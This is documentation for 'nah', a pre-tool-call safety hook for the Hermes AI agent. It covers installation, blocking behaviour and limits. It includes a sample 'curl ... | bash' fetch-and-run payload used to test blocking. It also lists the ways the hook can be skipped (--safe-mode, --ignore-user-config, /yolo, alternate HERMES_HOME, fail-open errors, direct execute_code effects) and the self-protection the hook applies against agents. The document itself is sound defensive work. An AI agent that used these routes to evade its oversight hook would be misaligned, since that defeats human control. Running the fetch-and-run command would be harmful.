Hermes
Install
nah hook hermes install
Hermes installation is not supported on Windows. Install and uninstall return
runtime-platform-unsupported before writing, and status reports not
configured.
--fail-closed denies explicit failures/refusals; ordinary uncertainty still
delegates. It also marks the Hermes hook fail_closed, so Hermes blocks the call
when nah cannot start, times out, or prints invalid output. --fail-open
restores the default; flagless reinstall preserves it.
The hook command names the absolute path of the nah executable that ran the
install, so Hermes does not need nah on its PATH. Reinstall after moving or
reinstalling nah to a different path. The executable must be named nah;
install refuses a renamed or versioned binary, whose hook self-protection
would not recognize.
Restart Hermes. Remove only nah's owned hook with:
nah hook hermes uninstall
The installer honors HERMES_HOME, adds one owned entry under
hooks.pre_tool_call in $HERMES_HOME/config.yaml, and records consent for
only nah's command in Hermes' allowlist format. Existing hooks, consent
entries, and configuration are preserved.
Behavior
Hermes' shell hook sends calls to nah hook hermes run.
Terminal, read, write, patch (replace edits with or without Hermes' optional
mode, and V4A patches), content-search, literal file-name search, and exact
execute_code Python payloads use nah's shared effects. The Python
side of the bounded effect interpreter recognizes standard-library filesystem
and subprocess calls plus reviewed network clients without running code.
Absolute paths retain exact evidence; relative paths stay unresolved because
the hook does not prove the execution kernel's working directory.
Wildcard file-name searches, process-control, browser, MCP, plugin, malformed
or extended code payloads, and future tools remain opaque. Tool calls that
execute_code makes through hermes_tools reach the same hook and get their
own nah decision; live-verified with Hermes v2026.9.24 (package 0.21.5) for a
nested terminal pipeline and write_file. Blocks return Hermes'
documented decision: block response. Every other call delegates by returning
no directive, preserving Hermes' approval flow. Malformed input does the same.
By default, failure returns no directive and fixed feedback; fail-closed blocks
returned failures and refusals.
Boundaries
The shell hook and nah run beside Hermes. Docker, SSH, Daytona, Modal, and other terminal backends can have different paths and state; nah analyzes the visible command, but backend-only filesystem facts are unavailable and conservative decisions delegate. Install nah beside remote Gateways.
Hermes /yolo bypasses dangerous-command approval but does not disable shell
hooks, so delegated calls may execute immediately. --safe-mode explicitly
skips shell-hook registration. --ignore-user-config skips the active user
config.yaml, including the nah entry installed there. Unless nah was installed
with --fail-closed, a hook process error, missing executable, timeout, or
invalid stdout is logged and ignored by Hermes.
Python plugin hooks run before shell hooks. The first valid block wins; an
earlier approval directive does not override a later nah block.
Direct filesystem, subprocess, or network effects inside execute_code do not
re-enter hooks. Nah can decide only from the exact visible Python source and
keeps unsupported or dynamic behavior uncertain. An unapproved or revoked
hook, inaccessible alternate home, manual action, and direct trusted-plugin
work remain outside nah. Verify with
hermes hooks list and hermes hooks test pre_tool_call --for-tool terminal
after installation. To test blocking, pass --payload-file a JSON object such as
{"args":{"command":"curl https://example.com/install.sh | bash"}}. This is a
synthetic hook payload and is not executed. Confirm the parsed response has
"action":"block". If you use HERMES_HOME, keep the same value when
installing, checking status, and running Hermes. nah does not select the
profile for you. The config, allowlist, and their lock files must not be
symlinks.
While active, this adapter blocks visible lifecycle commands, exact native
revocation commands naming nah's installed hook command, mutations to the current
native shell-hook config or allowlist, and child launches using --safe-mode,
--ignore-user-config, or an alternate HERMES_HOME. Hermes plugin
management stays user-owned. The agent is told not to retry
protected changes; an operator can use nah nap from another terminal.
After upgrades, inspect and retest the loaded hook against Hermes' plugin documentation, event hooks, and tool documentation.